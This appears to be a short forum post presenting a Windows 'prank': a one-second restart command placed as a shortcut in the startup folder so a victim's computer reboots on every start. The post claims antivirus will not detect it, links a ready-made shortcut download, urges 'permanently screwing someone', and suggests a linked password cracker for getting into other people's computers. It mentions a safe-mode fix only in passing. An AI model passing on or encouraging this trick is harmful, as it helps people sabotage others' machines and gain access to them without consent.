SHUTDOWN -r -t 01 is a command that will restart windows, with a 1 second delay before the shutdown...
the fun comes in when you put that command in a shortcut, and place it in the startup folder.
if you remove the password to a computer, then put this shortcut in the startup it causes the system to restart every time it starts up. since this is using a windows command, windows doesn't realize that there's anything wrong, and antivirus programs won't either.
If you don't know it's there, you probably never will >: )
To stop this, press f8 during startup to get alternate boot menu, select safe mode, and delete the shortcut from the startup folder.
if you don't know how to make shortcuts, i've done it for you here:
CODE
http://www.mediafire.com/download.php?nxmnytyj13e]
(100% tested and virus scanned)
enjoy pranking/permanently screwing someone.
EDIT: it just occoured to me that using this http://ipb.quicksilverscreen.com/index.php?showtopic=108499 password cracker, will make implementing this prank a lot easier if you're working with someone else's comp.